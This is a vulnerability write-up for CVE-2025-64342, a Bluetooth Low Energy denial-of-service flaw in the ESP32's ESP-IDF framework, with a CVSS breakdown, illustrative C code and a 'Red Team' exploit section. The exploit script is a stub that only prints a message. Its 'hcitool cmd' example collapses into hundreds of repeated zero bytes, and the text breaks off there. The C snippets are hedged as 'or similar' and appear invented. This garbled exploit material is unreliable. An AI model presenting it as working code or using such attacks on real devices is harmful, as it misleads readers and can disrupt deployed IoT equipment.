CVE-2025-64342
Executive Summary
CVE-2025-64342 is a denial-of-service (DoS) vulnerability in the Espressif IoT Development Framework (ESP-IDF) affecting the Bluetooth Low Energy (BLE) stack of the ESP32 microcontroller. When the device is in advertising mode, receiving a connection request with an invalid Access Address (AA) of 0x00000000 or 0xFFFFFFFF can cause the BLE controller to stop advertising unexpectedly. Furthermore, the controller may incorrectly report a successful connection event to the host, leading the application layer to believe a connection was established when none exists. This can disrupt IoT operations, prevent device discovery, and cause application logic errors.
The vulnerability is patched in ESP-IDF versions 5.5.2, 5.4.3, 5.3.5, 5.2.6, and 5.1.7. At the time of publication, versions 5.5.2, 5.3.5, and 5.1.7 have not been officially released but are fixed in the respective commits.
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Supply Chain & Package Security
This vulnerability affects the ESP-IDF framework, which is a core component for ESP32-based IoT devices. Organizations using ESP32 in their products must update their firmware to patched versions. Since ESP-IDF is distributed via GitHub and package managers (e.g., PlatformIO, ESP-IDF Manager), supply chain security is critical. Ensure that all build pipelines reference the patched commits or releases.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be within BLE range (typically up to 100 meters).
- Attack Complexity (AC): Low (AC:L) – No special conditions required.
- Privileges Required (PR): None (PR:N) – No authentication needed.
- User Interaction (UI): None (UI:N) – No user action required.
- Scope (S): Unchanged (S:U) – The vulnerability affects only the vulnerable component.
- Confidentiality (C): None (C:N) – No data exposure.
- Integrity (I): None (I:N) – No data modification.
- Availability (A): High (A:H) – Complete loss of BLE advertising functionality.
Threat Level: Medium. The attack requires physical proximity but is trivial to execute with a BLE-capable device (e.g., smartphone, Raspberry Pi). The impact is limited to denial of service, but for critical IoT devices (e.g., medical sensors, industrial controllers), this can be severe.
Deep Dive & Mechanics
The vulnerability resides in the BLE controller firmware of the ESP32, specifically in the handling of incoming connection requests during advertising mode. The BLE specification defines an Access Address (AA) as a 32-bit value used to identify a connection. Valid AAs must not be 0x00000000 or 0xFFFFFFFF (these are reserved). However, the ESP-IDF controller does not properly validate the AA before processing the connection request.
When a malicious device sends a CONNECT_IND PDU with an invalid AA:
- The controller receives the packet and attempts to establish a connection.
- Due to the invalid AA, the controller enters an undefined state, causing it to stop advertising.
- The controller may incorrectly generate a connection event to the host, making the application layer believe a connection was established.
- The device becomes unresponsive to new connections until a reset or timeout.
The root cause is insufficient input validation in the BLE link layer. The fix adds a check for reserved AA values before processing the connection request.
Vulnerable vs. Patched Code
Vulnerable Code (ESP-IDF < 5.1.7):
// In ble_ll_conn.c or similar
void ble_ll_conn_create(struct ble_ll_conn_sm *connsm, struct ble_mbuf_hdr *hdr) {
// No validation of Access Address
connsm->access_addr = hdr->access_addr;
// Proceed with connection setup
}
Patched Code (ESP-IDF >= 5.1.7):
// In ble_ll_conn.c
void ble_ll_conn_create(struct ble_ll_conn_sm *connsm, struct ble_mbuf_hdr *hdr) {
// Validate Access Address
if (hdr->access_addr == 0x00000000 || hdr->access_addr == 0xFFFFFFFF) {
// Reject connection request
ble_ll_conn_reject(connsm, BLE_ERR_CONN_REJECTED);
return;
}
connsm->access_addr = hdr->access_addr;
// Proceed with connection setup
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A BLE-capable device (e.g., Raspberry Pi with Bluetooth adapter, or a smartphone with nRF Connect app).
- Python with
bleaklibrary orbluepy.
Exploit Script (Python using bleak):
import asyncio
from bleak import BleakScanner, BleakClient
from struct import pack
async def exploit(target_address):
# Craft a connection request with invalid Access Address
# This is a simplified example; actual implementation requires raw HCI commands
# Using hcitool or bluepy for raw access is more reliable
print(f"Sending malicious connection request to {target_address}")
# In practice, use hcitool cmd to send raw HCI LE Create Connection with invalid AA
# Example: hcitool cmd 0x08 0x000D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 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